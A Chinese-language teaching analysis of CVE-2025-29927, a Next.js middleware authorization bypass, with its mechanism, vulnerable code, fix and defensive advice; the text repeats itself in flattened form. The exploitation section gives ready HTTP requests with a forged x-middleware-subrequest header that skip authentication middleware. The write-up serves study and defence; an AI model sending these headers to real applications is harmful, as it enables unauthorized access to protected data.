Next.js中间件权限绕过漏洞分析(CVE-2025-29927)
字数 1620 2025-08-29 08:29:58

Next.js中间件权限绕过漏洞分析(CVE-2025-29927)教学文档

一、漏洞概述

CVE-2025-29927是Next.js框架中存在的一个高危中间件逻辑绕过漏洞,允许攻击者通过构造特定HTTP请求头,绕过中间件的安全控制逻辑(如身份验证、路径重写、CSP防护等)。该漏洞CVSS评分9.1(Critical),可导致未授权访问、数据泄露及拒绝服务攻击。

二、漏洞背景

Next.js中间件功能

Next.js中间件(Middleware)允许开发者在请求到达目标路由前执行代码,典型应用场景包括:

  • 身份验证:检查用户会话Cookie,拦截未授权请求
  • 路径重写:动态修改请求路径(如多语言路由/en/home → /home)
  • 安全头设置:添加CSP、CORS等安全响应头

中间件的安全性直接决定了应用的核心防护能力。若中间件逻辑被绕过,攻击者可直接访问后端业务逻辑。

三、漏洞机制分析

漏洞核心原理

  1. 递归请求处理机制

    • 用户请求在middleware中会请求身份验证接口
    • 请求身份验证接口也会经过middleware
    • Next.js通过x-middleware-subrequest头标识内部递归请求
  2. 递归限制机制

    • 每次递归请求都会向x-middleware-subrequest头添加一次middleware标识
    • 如果递归请求达到五次,就会返回带有'x-middleware-next': '1'的响应
    • 该响应表示忽略中间件的所有逻辑(包括鉴权检查)

关键代码分析

const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = subreq.split(':') : []
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
    (acc, curr) => (curr === params.name ? acc + 1 : acc), 
    0)
if (depth >= MAX_RECURSION_DEPTH) {
  return {
    response: new runtime.context.Response(null, {
      headers: {'x-middleware-next': '1',},
    }),
  }
}

漏洞成因

  1. 路径暴露

    • 中间件的逻辑路径(middlewareInfo.name)可被攻击者推测
    • 路径信息存储在.next/server/middleware-build-manifest.json文件中
  2. 校验宽松

    • 未对外部请求的x-middleware-subrequest头进行过滤
    • 允许伪造内部请求标识

四、漏洞利用

Payload构造方法

  1. 确定中间件路径标识

    • 中间件在根目录middleware.ts → 标识为middleware
    • 中间件在src目录src/middleware.ts → 标识为src/middleware
  2. 构造恶意请求头

对于根目录middleware:

GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

对于src目录middleware:

GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

五、漏洞复现

  1. 搭建漏洞环境:参考lem0n817/CVE-2025-29927
  2. 使用上述Payload构造请求
  3. 观察是否绕过中间件权限控制

六、漏洞修复

修复方案

Next.js在v15.2.3版本中修复了该漏洞,关键修复点:

  1. 动态令牌验证

    • 引入x-middleware-subrequest-id头进行验证
    • 使用加密符号存储(Symbol.for)严格区分内外请求
  2. 请求头过滤

    • 非法伪造的x-middleware-subrequest头会被自动删除
    • 确保中间件安全逻辑不被绕过

修复代码对比

参考:Comparing v15.2.2...v15.2.3 · vercel/next.js

七、防御建议

  1. 升级Next.js:立即升级到v15.2.3或更高版本
  2. 中间件设计
    • 避免在中间件中进行复杂的递归调用
    • 对关键路径添加额外的权限验证
  3. 请求头验证
    • 严格验证所有传入的请求头
    • 特别是x-middleware-*系列头部

八、参考资源

  1. 代码审计-知识星球
  2. Next.js 和损坏的中间件:授权工件 - zhero_web_security
  3. CVE 2025 29927 Nextjs Auth Bypass - chestnut's blog

九、总结

CVE-2025-29927是一个严重的Next.js中间件绕过漏洞,攻击者可通过构造特定的HTTP请求头完全绕过中间件的安全控制。开发人员应及时升级框架版本,并审查现有中间件实现的安全性。

Next.js中间件权限绕过漏洞分析(CVE-2025-29927)教学文档 一、漏洞概述 CVE-2025-29927是Next.js框架中存在的一个高危中间件逻辑绕过漏洞,允许攻击者通过构造特定HTTP请求头,绕过中间件的安全控制逻辑(如身份验证、路径重写、CSP防护等)。该漏洞CVSS评分9.1(Critical),可导致未授权访问、数据泄露及拒绝服务攻击。 二、漏洞背景 Next.js中间件功能 Next.js中间件(Middleware)允许开发者在请求到达目标路由前执行代码,典型应用场景包括: 身份验证:检查用户会话Cookie,拦截未授权请求 路径重写:动态修改请求路径(如多语言路由/en/home → /home) 安全头设置:添加CSP、CORS等安全响应头 中间件的安全性直接决定了应用的核心防护能力。若中间件逻辑被绕过,攻击者可直接访问后端业务逻辑。 三、漏洞机制分析 漏洞核心原理 递归请求处理机制 : 用户请求在middleware中会请求身份验证接口 请求身份验证接口也会经过middleware Next.js通过 x-middleware-subrequest 头标识内部递归请求 递归限制机制 : 每次递归请求都会向 x-middleware-subrequest 头添加一次middleware标识 如果递归请求达到五次,就会返回带有 'x-middleware-next': '1' 的响应 该响应表示忽略中间件的所有逻辑(包括鉴权检查) 关键代码分析 漏洞成因 路径暴露 : 中间件的逻辑路径(middlewareInfo.name)可被攻击者推测 路径信息存储在 .next/server/middleware-build-manifest.json 文件中 校验宽松 : 未对外部请求的 x-middleware-subrequest 头进行过滤 允许伪造内部请求标识 四、漏洞利用 Payload构造方法 确定中间件路径标识 : 中间件在根目录 middleware.ts → 标识为 middleware 中间件在 src 目录 src/middleware.ts → 标识为 src/middleware 构造恶意请求头 : 对于根目录middleware: 对于src目录middleware: 五、漏洞复现 搭建漏洞环境:参考 lem0n817/CVE-2025-29927 使用上述Payload构造请求 观察是否绕过中间件权限控制 六、漏洞修复 修复方案 Next.js在v15.2.3版本中修复了该漏洞,关键修复点: 动态令牌验证 : 引入 x-middleware-subrequest-id 头进行验证 使用加密符号存储(Symbol.for)严格区分内外请求 请求头过滤 : 非法伪造的 x-middleware-subrequest 头会被自动删除 确保中间件安全逻辑不被绕过 修复代码对比 参考: Comparing v15.2.2...v15.2.3 · vercel/next.js 七、防御建议 升级Next.js :立即升级到v15.2.3或更高版本 中间件设计 : 避免在中间件中进行复杂的递归调用 对关键路径添加额外的权限验证 请求头验证 : 严格验证所有传入的请求头 特别是 x-middleware-* 系列头部 八、参考资源 代码审计-知识星球 Next.js 和损坏的中间件:授权工件 - zhero_ web_ security CVE 2025 29927 Nextjs Auth Bypass - chestnut's blog 九、总结 CVE-2025-29927是一个严重的Next.js中间件绕过漏洞,攻击者可通过构造特定的HTTP请求头完全绕过中间件的安全控制。开发人员应及时升级框架版本,并审查现有中间件实现的安全性。